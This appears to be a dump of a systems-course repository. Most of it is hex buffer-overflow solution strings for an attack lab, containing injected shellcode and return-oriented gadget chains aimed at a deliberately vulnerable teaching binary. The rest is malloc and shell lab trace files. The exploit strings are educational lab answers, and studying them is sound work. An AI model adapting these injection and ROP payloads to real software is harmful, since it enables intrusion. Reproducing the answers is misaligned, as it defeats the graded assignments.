-------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 92 5e 55 55 55 55 7 | 8 | 9 | -------------------------------------------------------------------------------- /lab4/attack-handout/53/answer2.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 7c e5 65 46 48 2 | b8 c6 5e 55 55 55 55 00 3 | 00 50 c3 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 88 2c 61 55 00 00 00 00 7 | -------------------------------------------------------------------------------- /lab4/attack-handout/7/answer1.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 12 5f 55 55 55 55 00 00 7 | 8 | -------------------------------------------------------------------------------- /lab4/attack-handout/56/answer2.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 6c 4a 09 7a 2 | 48 b8 7f 5f 55 55 55 3 | 55 00 00 50 c3 4 | 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 6 | 00 00 00 00 00 00 00 00 7 | c8 92 67 55 00 00 8 | 00 00 9 | -------------------------------------------------------------------------------- /lab4/attack-handout/7/answer3.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 b8 5d 64 55 48 b8 6b 60 55 55 55 55 00 00 50 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2 | 88 5d 64 55 00 00 00 00 3 | 33 30 61 38 38 66 36 33 4 | 5 | -------------------------------------------------------------------------------- /lab4/attack-handout/11/answer2.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 fd 35 7a 65 2 | 49 bd 00 5f 55 55 55 3 | 55 00 00 4 | 41 55 5 | c3 6 | 00 00 00 00 00 00 00 00 00 00 7 | 00 00 00 00 00 00 00 00 00 00 8 | f8 27 65 55 00 00 00 00 -------------------------------------------------------------------------------- /lab5/malloc-handout/malloclab-handout/short1-bal.rep: -------------------------------------------------------------------------------- 1 | 20000 2 | 6 3 | 12 4 | 1 5 | a 0 2040 6 | a 1 2040 7 | f 1 8 | a 2 48 9 | a 3 4072 10 | f 3 11 | a 4 4072 12 | f 0 13 | f 2 14 | a 5 4072 15 | f 4 16 | f 5 17 | -------------------------------------------------------------------------------- /lab5/malloc-handout/malloclab-handout/short2-bal.rep: -------------------------------------------------------------------------------- 1 | 20000 2 | 6 3 | 12 4 | 1 5 | a 0 2040 6 | a 1 4010 7 | a 2 48 8 | a 3 4072 9 | a 4 4072 10 | a 5 4072 11 | f 0 12 | f 1 13 | f 2 14 | f 3 15 | f 4 16 | f 5 17 | -------------------------------------------------------------------------------- /lab4/attack-handout/13/answer3.txt: -------------------------------------------------------------------------------- 1 | c7 c7 b8 72 63 55 48 bd 2b 60 2 | 55 55 55 55 00 00 55 c3 00 00 3 | 00 00 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 00 00 5 | 88 72 63 55 00 00 00 00 35 37 6 | 30 64 37 37 31 39 7 | -------------------------------------------------------------------------------- /lab4/attack-handout/3/answer3.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 b8 e8 60 55 48 2 | b8 19 60 55 55 55 55 00 3 | 00 50 c3 33 44 55 66 77 4 | 00 11 22 33 44 55 66 77 5 | 00 11 22 33 44 55 66 77 6 | 88 e8 60 55 00 00 00 00 7 | 35 36 61 39 37 32 63 63 -------------------------------------------------------------------------------- /lab4/attack-handout/55/answer3.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 b8 89 61 55 48 2 | b8 df 5f 55 55 55 55 00 3 | 00 50 c3 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 88 89 61 55 00 00 00 00 7 | 31 34 30 31 36 33 66 64 -------------------------------------------------------------------------------- /lab4/attack-handout/6/answer3.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 88 44 61 55 48 2 | b9 f7 5f 55 55 55 55 00 3 | 00 51 c3 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 58 44 61 55 00 00 00 00 7 | 34 61 31 66 66 34 32 61 00 -------------------------------------------------------------------------------- /lab4/attack-handout/68/answer4.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | 64 61 55 55 55 55 00 00 5 | 83 29 8b 59 00 00 00 00 6 | 39 61 55 55 55 55 00 00 7 | 54 5f 55 55 55 55 00 00 -------------------------------------------------------------------------------- /lab4/attack-handout/70/answer4.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | 10 61 55 55 55 55 00 00 5 | 60 e7 ee 26 00 00 00 00 6 | fa 60 55 55 55 55 00 00 7 | 0c 5f 55 55 55 55 00 00 -------------------------------------------------------------------------------- /lab4/attack-handout/15/answer3.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 38 19 62 55 48 2 | be 37 5f 55 55 55 55 00 3 | 00 56 c3 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 08 19 62 55 00 00 00 00 7 | 36 34 39 35 36 30 33 64 8 | -------------------------------------------------------------------------------- /lab4/attack-handout/19/answer3.txt: -------------------------------------------------------------------------------- 1 | 48 bf 68 5f 55 55 55 55 00 00 57 bf ba 34 b2 73 c3 00 00 00 00 00 00 00 38 ce 63 55 00 00 00 00 48 c7 c6 00 00 00 00 56 48 be 37 33 62 32 33 34 62 61 56 48 89 e7 48 be 8d 60 55 55 55 55 00 00 56 c3 -------------------------------------------------------------------------------- /lab4/attack-handout/25/answer1.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3e 5f 55 55 55 55 00 00 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/25/answer2.txt: -------------------------------------------------------------------------------- 1 | 48 bf 72 5f 55 55 55 55 00 00 57 48 c7 c7 c9 1b a8 2e c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 fd 65 55 00 00 00 00 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/31/answer3.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 b8 62 61 55 48 2 | b8 a7 60 55 55 55 55 00 3 | 00 50 c3 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 88 62 61 55 00 00 00 00 7 | 34 31 64 66 36 62 62 62 8 | -------------------------------------------------------------------------------- /lab4/attack-handout/32/answer3.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 b8 d6 62 55 49 2 | b8 57 5f 55 55 55 55 00 3 | 00 41 50 c3 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 88 d6 62 55 00 00 00 00 7 | 36 38 64 62 64 62 64 33 8 | -------------------------------------------------------------------------------- /lab4/attack-handout/33/answer3.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 b8 1e 67 55 48 2 | be 9d 5f 55 55 55 55 00 3 | 00 56 c3 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 88 1e 67 55 00 00 00 00 7 | 34 64 39 65 33 34 37 66 8 | -------------------------------------------------------------------------------- /lab4/attack-handout/36/answer3.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 a8 33 63 55 48 2 | b8 d9 5f 55 55 55 55 00 3 | 00 50 c3 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 78 33 63 55 00 00 00 00 7 | 34 32 34 63 33 65 38 61 8 | -------------------------------------------------------------------------------- /lab4/attack-handout/37/answer4.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | f2 5f 55 55 55 55 00 00 5 | 3c 2a 06 3b 00 00 00 00 6 | 07 60 55 55 55 55 00 00 7 | 19 5e 55 55 55 55 00 00 8 | -------------------------------------------------------------------------------- /lab4/attack-handout/41/answer4.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | e3 60 55 55 55 55 00 00 5 | 86 53 9a 14 00 00 00 00 6 | d7 60 55 55 55 55 00 00 7 | dd 5e 55 55 55 55 00 00 8 | -------------------------------------------------------------------------------- /lab4/attack-handout/51/answer3.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 58 36 64 55 48 2 | b8 5f 5f 55 55 55 55 00 3 | 00 50 c3 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 28 36 64 55 00 00 00 00 7 | 37 61 32 32 62 36 63 65 8 | -------------------------------------------------------------------------------- /lab4/attack-handout/57/answer3.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 18 fd 60 55 48 2 | b8 f2 5f 55 55 55 55 00 3 | 00 50 c3 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | e8 fc 60 55 00 00 00 00 7 | 36 30 63 62 30 66 35 62 8 | -------------------------------------------------------------------------------- /lab4/attack-handout/67/answer4.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | d1 60 55 55 55 55 00 00 5 | 05 47 e7 73 00 00 00 00 6 | 10 61 55 55 55 55 00 00 7 | f6 5e 55 55 55 55 00 00 8 | -------------------------------------------------------------------------------- /lab5/malloc-handout/malloclab-handout/traces/short1-bal.rep: -------------------------------------------------------------------------------- 1 | 20000 2 | 6 3 | 12 4 | 1 5 | a 0 2040 6 | a 1 2040 7 | f 1 8 | a 2 48 9 | a 3 4072 10 | f 3 11 | a 4 4072 12 | f 0 13 | f 2 14 | a 5 4072 15 | f 4 16 | f 5 17 | -------------------------------------------------------------------------------- /lab5/malloc-handout/malloclab-handout/traces/short2-bal.rep: -------------------------------------------------------------------------------- 1 | 20000 2 | 6 3 | 12 4 | 1 5 | a 0 2040 6 | a 1 4010 7 | a 2 48 8 | a 3 4072 9 | a 4 4072 10 | a 5 4072 11 | f 0 12 | f 1 13 | f 2 14 | f 3 15 | f 4 16 | f 5 17 | -------------------------------------------------------------------------------- /lab4/attack-handout/14/answer3.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 78 a1 66 55 48 2 | b8 2d 5f 55 55 55 55 00 3 | 00 50 c3 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 48 a1 66 55 00 00 00 00 7 | 37 64 63 31 35 62 62 30 8 | 9 | -------------------------------------------------------------------------------- /lab4/attack-handout/20/answer4.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | 18 61 55 55 55 55 00 00 5 | ee ee a3 76 00 00 00 00 6 | 4e 61 55 55 55 55 00 00 7 | 32 5f 55 55 55 55 00 00 8 | -------------------------------------------------------------------------------- /lab4/attack-handout/42/answer4.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | ac 60 55 55 55 55 00 00 5 | 31 63 ec 7a 00 00 00 00 6 | 94 60 55 55 55 55 00 00 7 | 9a 5e 55 55 55 55 00 00 8 | -------------------------------------------------------------------------------- /lab4/attack-handout/53/answer3.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 b8 2c 61 55 48 2 | b8 e9 5f 55 55 55 55 00 3 | 00 50 c3 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 88 2c 61 55 00 00 00 00 7 | 34 36 36 35 65 35 37 63 00 8 | 9 | -------------------------------------------------------------------------------- /lab4/attack-handout/56/answer3.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 f8 92 67 55 2 | 48 b8 a4 60 55 55 55 3 | 55 00 00 50 c3 00 00 4 | 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 6 | 00 00 00 00 00 7 | c8 92 67 55 00 00 00 00 8 | 37 61 30 39 34 61 36 63 00 9 | -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "Attack-Generator"] 2 | path = Attack-Generator 3 | url = git@github.com:zjpedu/Attack-Generator.git 4 | [submodule "Bomb-Generator"] 5 | path = Bomb-Generator 6 | url = git@github.com:zjpedu/Bomb-Generator.git 7 | -------------------------------------------------------------------------------- /lab4/attack-handout/11/answer3.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 28 28 65 55 2 | 49 bd 25 60 55 55 55 3 | 55 00 00 4 | 41 55 5 | c3 6 | 00 00 00 00 00 00 00 00 00 00 7 | 00 00 00 00 00 00 00 00 00 00 8 | f8 27 65 55 00 00 00 00 9 | 36 35 37 61 33 35 66 64 -------------------------------------------------------------------------------- /lab4/attack-handout/21/answer2.txt: -------------------------------------------------------------------------------- 1 | bf b7 d8 43 2f 48 b8 26 5e 55 55 55 55 00 00 50 c3 00 00 00 2 | 00 00 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 88 1b 65 55 6 | 00 00 00 00 7 | -------------------------------------------------------------------------------- /lab4/attack-handout/24/answer1.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 00 00 00 00 00 00 00 00 7 | 00 00 00 00 00 00 00 00 8 | 6c 5f 55 55 55 55 00 00 -------------------------------------------------------------------------------- /lab4/attack-handout/50/answer2.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 07 27 75 46 48 2 | b8 48 5f 55 55 55 55 00 3 | 00 50 c3 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 00 00 00 00 00 00 00 00 7 | 00 00 00 00 00 00 00 00 8 | 98 7b 62 55 00 00 00 00 -------------------------------------------------------------------------------- /lab4/attack-handout/2/answer1.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 00 00 00 00 00 00 00 00 7 | 00 00 00 00 00 00 00 00 8 | d4 5e 55 55 55 55 00 00 9 | -------------------------------------------------------------------------------- /lab4/attack-handout/2/answer2.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 94 2e f5 1d 48 2 | b8 08 5f 55 55 55 55 00 3 | 00 50 c3 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 00 00 00 00 00 00 00 00 7 | 00 00 00 00 00 00 00 00 8 | 78 3f 68 55 00 00 00 00 9 | -------------------------------------------------------------------------------- /lab4/attack-handout/21/answer3.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c0 00 00 00 00 50 48 b8 2 | 32 66 34 33 64 38 62 37 50 48 3 | 89 e7 48 b8 4b 5f 55 55 55 55 4 | 00 00 50 c3 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 00 00 6 | 00 00 00 00 00 00 7 | 88 1b 65 55 00 00 00 00 8 | -------------------------------------------------------------------------------- /lab4/attack-handout/23/answer1.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 00 00 00 00 00 00 00 00 7 | 00 00 00 00 00 00 00 00 8 | e7 5e 55 55 55 55 00 00 9 | -------------------------------------------------------------------------------- /lab4/attack-handout/25/answer3.txt: -------------------------------------------------------------------------------- 1 | 48 bf 97 60 55 55 55 55 00 00 57 48 c7 c7 38 fe 65 55 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 fd 65 55 00 00 00 00 32 65 61 38 31 62 63 39 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/28/answer1.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 00 00 00 00 00 00 00 00 7 | 00 00 00 00 00 00 00 00 8 | 5c 5e 55 55 55 55 00 00 9 | -------------------------------------------------------------------------------- /lab4/attack-handout/28/answer2.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 94 f1 9d 7c 48 2 | b8 90 5e 55 55 55 55 00 3 | 00 50 c3 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 00 00 00 00 00 00 00 00 7 | 00 00 00 00 00 00 00 00 8 | b8 20 67 55 00 00 00 00 9 | -------------------------------------------------------------------------------- /lab4/attack-handout/4/answer1.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 00 00 00 00 00 00 00 00 7 | 00 00 00 00 00 00 00 00 8 | 4c 5e 55 55 55 55 00 00 9 | -------------------------------------------------------------------------------- /lab4/attack-handout/4/answer2.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 35 65 f4 6a 48 2 | b8 80 5e 55 55 55 55 00 3 | 00 50 c3 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 00 00 00 00 00 00 00 00 7 | 00 00 00 00 00 00 00 00 8 | d8 81 66 55 00 00 00 00 9 | -------------------------------------------------------------------------------- /lab4/attack-handout/43/answer1.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 00 00 00 00 00 00 00 00 7 | 00 00 00 00 00 00 00 00 8 | 2e 5f 55 55 55 55 00 00 9 | -------------------------------------------------------------------------------- /lab4/attack-handout/43/answer2.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 d2 f3 85 73 49 2 | bc 62 5f 55 55 55 55 00 3 | 00 41 54 c3 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 00 00 00 00 00 00 00 00 7 | 00 00 00 00 00 00 00 00 8 | 78 10 67 55 00 00 00 00 9 | -------------------------------------------------------------------------------- /lab4/attack-handout/47/answer1.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 00 00 00 00 00 00 00 00 7 | 00 00 00 00 00 00 00 00 8 | 88 5e 55 55 55 55 00 00 -------------------------------------------------------------------------------- /lab4/attack-handout/47/answer2.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 6f ff 31 4e 49 2 | be bc 5e 55 55 55 55 00 3 | 00 41 56 c3 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 00 00 00 00 00 00 00 00 7 | 00 00 00 00 00 00 00 00 8 | a8 8a 62 55 00 00 00 00 -------------------------------------------------------------------------------- /lab6/shlab-handout/trace05.txt: -------------------------------------------------------------------------------- 1 | # 2 | # trace05.txt - Process jobs builtin command. 3 | # 4 | /bin/echo -e tsh> ./myspin 2 \046 5 | ./myspin 2 & 6 | 7 | /bin/echo -e tsh> ./myspin 3 \046 8 | ./myspin 3 & 9 | 10 | /bin/echo tsh> jobs 11 | jobs 12 | -------------------------------------------------------------------------------- /lab4/attack-handout/24/answer2.txt: -------------------------------------------------------------------------------- 1 | 48 bf a0 5f 55 55 55 55 2 | 00 00 57 48 c7 c7 6d a8 3 | 68 62 c3 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 00 00 00 00 00 00 00 00 7 | 00 00 00 00 00 00 00 00 8 | 68 e5 65 55 00 00 00 00 9 | -------------------------------------------------------------------------------- /lab4/attack-handout/26/answer1.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 00 00 00 00 00 00 00 00 7 | 00 00 00 00 00 00 00 00 8 | 4c 5f 55 55 55 55 00 00 9 | -------------------------------------------------------------------------------- /lab4/attack-handout/29/answer2.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 82 6f 29 23 48 2 | bb 1a 5e 55 55 55 55 00 3 | 00 53 c3 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 00 00 00 00 00 00 00 00 7 | 00 00 00 00 00 00 00 00 8 | 78 97 67 55 00 00 00 00 9 | -------------------------------------------------------------------------------- /lab4/attack-handout/45/answer1.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 00 00 00 00 00 00 00 00 7 | 00 00 00 00 00 00 00 00 8 | 14 5f 55 55 55 55 00 00 -------------------------------------------------------------------------------- /lab4/attack-handout/45/answer2.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 77 a1 90 40 48 2 | be 44 5f 55 55 55 55 00 3 | 00 56 c3 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 00 00 00 00 00 00 00 00 7 | 00 00 00 00 00 00 00 00 8 | 78 79 66 55 00 00 00 00 -------------------------------------------------------------------------------- /lab4/attack-handout/29/answer1.txt: -------------------------------------------------------------------------------- 1 | 41 41 41 41 41 41 41 41 2 | 41 41 41 41 41 41 41 41 3 | 41 41 41 41 41 41 41 41 4 | 41 41 41 41 41 41 41 41 5 | 41 41 41 41 41 41 41 41 6 | 41 41 41 41 41 41 41 41 7 | 41 41 41 41 41 41 41 41 8 | e6 5d 55 55 55 55 00 00 9 | -------------------------------------------------------------------------------- /lab4/attack-handout/44/answer1.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 00 00 00 00 00 00 00 00 7 | 00 00 00 00 00 00 00 00 8 | 51 5f 55 55 55 55 00 00 9 | -------------------------------------------------------------------------------- /lab4/attack-handout/44/answer2.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 1d 3e 96 1a 48 2 | b8 85 5f 55 55 55 55 00 3 | 00 50 c3 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 00 00 00 00 00 00 00 00 7 | 00 00 00 00 00 00 00 00 8 | 88 10 67 55 00 00 00 00 9 | -------------------------------------------------------------------------------- /lab6/shlab-handout/trace11.txt: -------------------------------------------------------------------------------- 1 | # 2 | # trace11.txt - Forward SIGINT to every process in foreground process group 3 | # 4 | /bin/echo -e tsh> ./mysplit 4 5 | ./mysplit 4 6 | 7 | SLEEP 2 8 | INT 9 | 10 | /bin/echo tsh> /bin/ps a 11 | /bin/ps a 12 | 13 | -------------------------------------------------------------------------------- /lab1/10205102437.sh: -------------------------------------------------------------------------------- 1 | for i in `seq 1000` 2 | do echo $RANDOM | md5sum | cut -c 1-9 3 | done >> test.txt 4 | 5 | sort test.txt -u 6 | sort test.txt -n -u 7 | sort test.txt -u > test1.txt 8 | sort test.txt -n -u >> test2.txt 9 | 10 | grep -o new ramdom.txt |wc -1 -------------------------------------------------------------------------------- /lab4/attack-handout/23/answer2.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 08 8c d5 7c 2 | 48 b8 1b 5f 55 55 55 3 | 55 00 00 50 c3 00 00 4 | 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 6 | 00 00 00 00 00 00 00 7 | 00 00 00 00 00 00 00 8 | 00 00 00 00 00 00 00 9 | f8 a0 61 55 00 00 00 00 10 | -------------------------------------------------------------------------------- /lab4/attack-handout/46/answer1.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 00 00 00 00 00 00 00 00 7 | 00 00 00 00 00 00 00 00 8 | c3 5e 55 55 55 55 00 00 9 | 10 | -------------------------------------------------------------------------------- /lab4/attack-handout/46/answer2.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 e9 e9 30 67 48 2 | bb f7 5e 55 55 55 55 00 3 | 00 53 c3 33 33 33 33 33 4 | 33 33 33 33 33 33 33 33 5 | 33 33 33 33 33 33 33 33 6 | 33 33 33 33 33 33 33 33 7 | 33 33 33 33 33 33 33 33 8 | f8 d6 65 55 00 00 00 00 9 | 10 | -------------------------------------------------------------------------------- /lab4/attack-handout/11/answer4.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 00 00 5 | 25 61 55 55 55 55 00 00 6 | fd 35 7a 65 00 00 00 00 7 | fa 60 55 55 55 55 00 00 8 | 00 5f 55 55 55 55 00 00 -------------------------------------------------------------------------------- /lab4/attack-handout/26/answer2.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 b9 4b 7d 2f 48 2 | b9 80 5f 55 55 55 55 00 3 | 00 51 c3 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 00 00 00 00 00 00 00 00 7 | 00 00 00 00 00 00 00 00 8 | a8 8c 67 55 00 00 00 00 9 | 10 | 11 | -------------------------------------------------------------------------------- /lab4/attack-handout/49/answer1.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 00 00 00 00 00 00 00 00 7 | 00 00 00 00 00 00 00 00 8 | cc 5e 55 55 55 55 00 00 9 | 10 | 11 | -------------------------------------------------------------------------------- /lab4/attack-handout/49/answer2.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 04 6a b2 5a 48 2 | ba 00 5f 55 55 55 55 00 3 | 00 52 c3 20 21 22 23 24 4 | 25 26 27 28 29 30 31 32 5 | 33 34 35 36 37 38 39 40 6 | 41 42 43 44 45 46 47 48 7 | 49 50 51 52 53 54 55 56 8 | a8 02 63 55 00 00 00 00 9 | 10 | 11 | -------------------------------------------------------------------------------- /lab4/attack-handout/6/answer4.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | d9 60 55 55 55 55 00 00 7 | 2a f4 1f 4a c3 00 00 00 8 | ac 60 55 55 55 55 00 00 9 | d2 5e 55 55 55 55 00 00 -------------------------------------------------------------------------------- /lab4/attack-handout/13/answer4.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 00 00 5 | 01 61 55 55 55 55 00 00 6 | 19 77 0d 57 00 00 00 00 7 | 23 61 55 55 55 55 00 00 8 | 06 5f 55 55 55 55 00 00 9 | -------------------------------------------------------------------------------- /lab6/shlab-handout/trace07.txt: -------------------------------------------------------------------------------- 1 | # 2 | # trace07.txt - Forward SIGINT only to foreground job. 3 | # 4 | /bin/echo -e tsh> ./myspin 4 \046 5 | ./myspin 4 & 6 | 7 | /bin/echo -e tsh> ./myspin 5 8 | ./myspin 5 9 | 10 | SLEEP 2 11 | INT 12 | 13 | /bin/echo tsh> jobs 14 | jobs 15 | -------------------------------------------------------------------------------- 